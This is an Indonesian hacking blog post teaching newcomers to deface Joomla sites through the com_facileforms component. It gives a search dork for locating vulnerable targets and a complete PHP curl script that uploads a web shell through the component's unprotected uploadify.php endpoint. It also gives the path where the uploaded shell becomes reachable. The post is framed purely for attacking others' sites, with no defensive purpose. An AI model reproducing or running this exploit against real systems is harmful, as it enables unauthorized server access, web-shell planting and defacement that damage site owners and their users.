Deface dengan teknik COM_Facileforms

data:image/png;base64,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 

Hallo kaka kaka depeser semua :v
Hari ini ane mau share sedikit ilmu dari ane untuk para newbi , yang udah mastah lewatin aja -/\-
Okay let me start.

Dorknya : 
inurl:com_facileforms (Kembangin sendiri , use ur brain )

Exploitnya :
<?php

$uploadfile="shell.php";
$ch = curl_init("http://target.site/[path]/components/com_facileforms/libraries/jquery/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>'/components/com_facileforms/libraries/jquery/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
  
print "$postResult";
?>

Save dengan format .php di folder xampp.

Shell access : http://target.site/[path]/components/com_facileforms/libraries/jquery/shell.php
 
Enjoy
Copas ? Sertakan sumber ;)
./redsm0ke
Previous
Next Post »
Thanks for your comment